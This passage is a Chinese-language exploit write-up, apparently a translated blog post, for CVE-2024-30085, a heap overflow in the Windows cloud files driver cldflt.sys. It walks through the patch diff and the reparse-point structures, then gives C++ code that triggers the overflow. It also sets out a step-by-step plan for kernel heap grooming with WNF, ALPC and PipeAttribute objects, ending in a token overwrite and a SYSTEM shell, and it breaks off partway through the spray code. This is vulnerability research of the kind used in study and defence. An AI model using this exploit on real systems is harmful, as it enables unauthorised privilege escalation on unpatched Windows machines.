All I Want for Christmas is a CVE-2024-30085 Exploit
December 24, 2024 · 21 min · Cherie-Anne Lee
TLDR
CVE-2024-30085是影响Windows云文件迷你过滤器驱动cldflt.sys的基于堆的缓冲区溢出漏洞。通过制作自定义重解析点,可以触发缓冲区溢出来破坏相邻的_WNF_STATE_DATA对象。被破坏的_WNF_STATE_DATA对象可用于从ALPC句柄表对象泄露内核指针。然后利用第二次缓冲区溢出来破坏另一个_WNF_STATE_DATA对象,进而破坏相邻的PipeAttribute对象。通过在用户空间伪造PipeAttribute对象,能够泄露令牌地址并覆盖权限,将权限提升至NT AUTHORITY\SYSTEM。
目录
介绍cldflt.sys
cldflt.sys是Windows云文件迷你过滤器驱动,允许用户在远程服务器和本地客户端之间管理和同步文件。cldflt.sys通过创建占位符文件和目录工作,这些文件和目录作为重解析点实现。占位符允许文件的实际内容驻留在其他地方,并按需检索(称为"水合"),同时在系统上看起来和行为像普通文件。用户可以通过云文件API创建和管理占位符。
漏洞分析与补丁
CVE-2024-30085是由SSD安全披露的Alex Birnberg以及Theori的Gwangun Jung和Junoh Lee发现的基于堆的缓冲区溢出漏洞。对于Windows 10 22H2,此漏洞在KB5039211更新中修复。
查看补丁差异,很明显HsmIBitmapNORMALOpen函数已被修改。
左侧显示易受攻击的驱动程序二进制文件,右侧显示修补后的驱动程序二进制文件。从这里可以看到添加了额外的代码块cmp r14d, 0x1000。查看未修补函数的部分反编译:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {
Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348);
if (Dst == 0x0) {
HsmDbgBreakOnStatus(-0x3fffff66);
... // 转到错误路径
}
memcpy(Dst, local_70, memcpy_size);
} else {
iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);
if (iVar13 == -1) && (memcpy_size == 4) {
*(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10;
} else {
Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); // 分配HsBm对象
if (Dst == 0x0) {
HsmDbgBreakOnStatus(-0x3fffff66);
... // 转到错误路径
}
}
memcpy(Dst, local_70, memcpy_size); // 易受攻击的memcpy,我们控制local_70和memcpy_size!
...
}
|
驱动程序在分页池中分配大小为0x1000的HsBm对象,并将memcpy_size大小的数据复制到分配的缓冲区。由于用户能够控制复制的数据以及memcpy_size的值,如果memcpy_size大于0x1000,将在分页池中发生基于堆的缓冲区溢出!
1
2
3
4
|
if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {
HsmDbgBreakOnStatus(-0x3fff30fe);
... // 转到错误路径
}
|
为了修补漏洞,添加了检查以确定memcpy_size是否小于或等于0x1000,并且仅当此检查通过时才调用memcpy。
重解析点结构
但是,为了理解如何触发此漏洞,我们必须首先了解cldflt驱动程序用于存储数据的重解析点的结构。
重解析点包括重解析标签(标识拥有重解析点的文件系统驱动程序)和用户定义的数据。在这种情况下,当我们创建用于利用的文件时,将使用IO_REPARSE_TAG_CLOUD_6(0x9000601a)作为重解析标签。
用户定义的数据具有以下结构:
1
2
3
4
5
6
7
8
|
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
|
DataBuffer具有可变大小,并包含由云过滤器驱动程序设置的自定义数据,采用以下格式:
1
2
3
4
5
|
struct _HSM_REPARSE_DATA {
USHORT Flags;
USHORT Length;
HSM_DATA FileData;
} HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;
|
当cldflt.sys创建重解析点时,如果数据大小大于0x100字节,它将使用COMPRESSION_FORMAT_LZNT1通过RtlCompressBuffer压缩数据。如果不涉及压缩,Flags设置为0x1,如果使用压缩,则设置为0x8001。Length指整个_HSM_REPARSE_DATA结构的大小。FileData采用以下形式:
1
2
3
4
5
6
7
8
9
|
typedef struct _HSM_DATA
{
ULONG Magic;
ULONG Crc32;
ULONG Length;
USHORT Flags;
USHORT NumberOfElements;
HSM_ELEMENT_INFO ElementInfos[1];
} HSM_DATA, *PHSM_DATA;
|
对于位图数据,Magic设置为0x70527442(“BtRp”),对于文件数据设置为0x70526546(“FeRp”)。如果存在CRC32,它将包含在结构中。CRC32使用RtlComputeCrc32计算。Length指整个_HSM_DATA对象的大小。如果存在CRC32校验和值,Flags将设置为0x2。_HSM_DATA结构可以包含多个元素,采用以下形式:
1
2
3
4
5
6
|
typedef struct _HSM_ELEMENT_INFO
{
USHORT Type;
USHORT Length;
ULONG Offset;
} HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;
|
元素可以具有以下类型:
1
2
3
4
5
6
|
#define HSM_ELEMENT_TYPE_NONE 0x00
#define HSM_ELEMENT_TYPE_UINT64 0x06
#define HSM_ELEMENT_TYPE_BYTE 0x07
#define HSM_ELEMENT_TYPE_UINT32 0x0a
#define HSM_ELEMENT_TYPE_BITMAP 0x11
#define HSM_ELEMENT_TYPE_MAX 0x12
|
Length指元素数据的大小,offset相对于_HSM_DATA结构的起始位置。
触发漏洞
让我们看看触发漏洞所需的代码路径:
1
2
3
4
5
|
-> HsmFltPostCREATE
-> HsmiFltPostECPCREATE
-> HsmpSetupContexts
-> HsmpCtxCreateStreamContext
-> HsmIBitmapNORMALOpen
|
通过打开包含cldflt重解析数据的文件,我们能够到达HsmpCtxCreateStreamContext。但是,为了到达HsmIBitmapNORMALOpen以触发易受攻击的memcpy,我们必须通过与FeRp对象及其嵌套的BtRp对象相关的某些检查。
当到达HsmpCtxCreateStreamContext时,它将调用HsmpRpValidateBuffer,该函数将对重解析数据执行检查。它首先检查_HSM_DATA对象的长度和magic,然后计算其CRC32。然后检查元素数量以确保其小于0xa,这是FeRp对象的最大元素数。初始检查通过后,函数循环遍历所有元素以确保元素偏移量和长度的总和不超过数据对象的长度。
完成后,对每个元素执行检查,通常包括以下内容:
- 检查元素类型是否在允许的类型范围内(即小于HSM_ELEMENT_TYPE_MAX,即0x12)
- 检查元素偏移量
- 检查元素大小
在这种情况下,FeRp对象的元素必须满足以下条件:
- 元素0必须是BYTE类型(0x07)
- 元素1必须是UINT32类型(0x0a)
- 元素2必须是UINT64类型(0x06)
- 元素4必须是BITMAP类型(0x11)
然后调用HsmpBitmapIsReparseBufferSupported对嵌套的BtRp对象执行检查。执行与FeRp对象类似的初始检查,但不包括CRC32计算。BtRp对象允许的最大元素数为0x5。元素必须满足以下条件:
- 元素0必须是BYTE类型(0x07)
- 元素1必须是BYTE类型(0x07)
- 元素2必须是BYTE类型(0x07)
一旦HsmpBitmapIsReparseBufferSupported完成,它返回到HsmpRpValidateBuffer,该函数返回到HsmpCtxCreateStreamContext,最后调用HsmIBitmapNORMALOpen。HsmIBitmapNORMALOpen还对BtRp对象的元素实现检查:
- 元素1必须是BYTE类型(0x07),并且必须具有值0x1
- 元素2必须是BYTE类型(0x07)
- 元素3必须是UINT64类型(0x06)
- 元素4必须是BITMAP类型(0x11)
一旦满足所有这些条件,我们将最终到达易受攻击的memcpy!
为了触发漏洞,我们必须首先使用云过滤器API注册同步根:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };
CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);
CfSyncRegistration.ProviderName = L"FFE4";
CfSyncRegistration.ProviderVersion = L"1.0";
CfSyncRegistration.ProviderId = { 0xf4d808a4, 0xa493, 0x4703, { 0xa8, 0xb8, 0xe2, 0x6a, 0x7, 0x7a, 0xd7, 0x3b } };
CF_SYNC_POLICIES CfSyncPolicies = { 0 };
CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);
CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;
CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;
hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (!SUCCEEDED(hRet)) {
CfUnregisterSyncRoot(SyncRoot);
cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;
return -1;
}
printf("[+] CfRegisterSyncRoot success: 0x%lx\n", hRet);
|
然后我们将在同步根目录中创建我们的文件:
1
2
3
4
5
6
7
8
|
HANDLE hFile1;
CString FullFileName1 = L"c:\\windows\\temp\\test";
hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile1 == INVALID_HANDLE_VALUE) {
cout << "Open file failed! error=" << GetLastError() << endl;
return -1;
}
printf("[+] Created exploit file 1: %d\n", hFile1);
|
最后,我们将使用FSCTL_SET_REPARSE_POINT_EX设置重解析点数据:
1
2
3
4
5
6
|
hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL, 0, NULL, NULL);
if (hBool == 0) {
cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;
return -1;
}
printf("[+] FSCTL_SET_REPARSE_POINT_EX succeeded\n");
|
要命中易受攻击的代码路径,我们只需要重新打开文件:
1
2
3
4
5
6
7
8
|
printf("[+] Opening file 1 to trigger vulnerability\n");
hFile1 = 0;
hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile1 == INVALID_HANDLE_VALUE) {
cout << "Open file failed! error=" << GetLastError() << endl;
return -1;
}
printf("[+] File 1 handle: %d\n", hFile1);
|
一旦发生溢出,机器崩溃!
利用概述
目前,我们在分页池中有一个溢出,影响大小为0x1000的对象。为了提升权限,我们需要内核指针泄露和任意写入的能力。只要控制内存布局使机器不崩溃,也可以多次触发此漏洞。因此,我们将触发此漏洞两次——一次获取内核泄露并获得任意写入原语,第二次获得任意读取,从而获得令牌地址。
以下是利用计划:
- 创建利用文件1并设置大小为0x1010的自定义重解析点数据
- 喷洒填充_WNF_STATE_DATA
- 喷洒第一组_WNF_STATE_DATA对象
- 通过释放每个交替的_WNF_STATE_DATA对象来打孔
- 第一次触发漏洞以回收其中一个孔——这破坏了_WNF_STATE_DATA对象,给我们越界读取和写入
- 喷洒ALPC句柄表以回收剩余的孔
- 通过从第一个被破坏的_WNF_STATE_DATA对象读取泄露内核指针
- 创建利用文件2并设置大小为0x1010的自定义重解析点数据
- 喷洒第二个填充_WNF_STATE_DATA
- 通过释放每个交替的_WNF_STATE_DATA对象来打孔
- 第二次触发漏洞以回收其中一个孔
- 喷洒PipeAttribute以回收剩余的孔
- 使用第二个被破坏的_WNF_STATE_DATA对象破坏PipeAttribute对象以指向用户空间中的假对象——这给我们任意读取
- 使用被破坏的PipeAttribute对象获取令牌地址
- 使用第一个被破坏的_WNF_STATE_DATA对象破坏ALPC句柄表以给我们任意写入
- 覆盖令牌权限获得完全权限!
- 获取winlogon进程的句柄
- 弹出NT AUTHORITY\SYSTEM shell!!!
获取内核指针泄露
我们将使用两个内核对象获取内核指针泄露:_WNF_STATE_DATA和_ALPC_HANDLE_TABLE。
首先让我们看看_WNF_STATE_DATA:
1
2
3
4
5
6
|
struct _WNF_STATE_DATA {
struct _WNF_NODE_HEADER Header; //0x0
ULONG AllocatedSize; //0x4
ULONG DataSize; //0x8
ULONG ChangeStamp; //0xc
};
|
Windows通知设施(WNF)是未记录的内核组件,用于跨系统发送通知。用于发送通知的数据存储在_WNF_STATE_DATA对象中,该对象在分页池中分配,包括大小为0x10的头部,后跟数据。允许的最大DataSize为0x1000,但这不会给我们带来问题,因为我们正在处理大小为0x1000的对象(使用0xff0的DataSize意味着分配的WNF对象大小为0x1000)。
要准备_WNF_STATE_DATA喷洒,我们可以执行以下操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
#define NUM_WNFSTATEDATA 0x450
#define WNF_MAXBUFSIZE 0x1000
PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };
PSECURITY_DESCRIPTOR pSD = nullptr;
NTSTATUS state = 0;
char StateData[0x1000];
printf("[+] Prepare _WNF_STATE_DATA spray\n");
memset(StateData, 0x41, sizeof(StateData));
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {
cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;
return -1;
}
for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);
if (state != 0) {
cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;
return -1;
}
}
|
我们将喷洒我们的第一个_WNF_STATE_DATA喷洒:
1
2
|
printf("[+] Spraying _WNF_STATE_DATA\n");
for (int i = 0; i < NUM_WNFST
|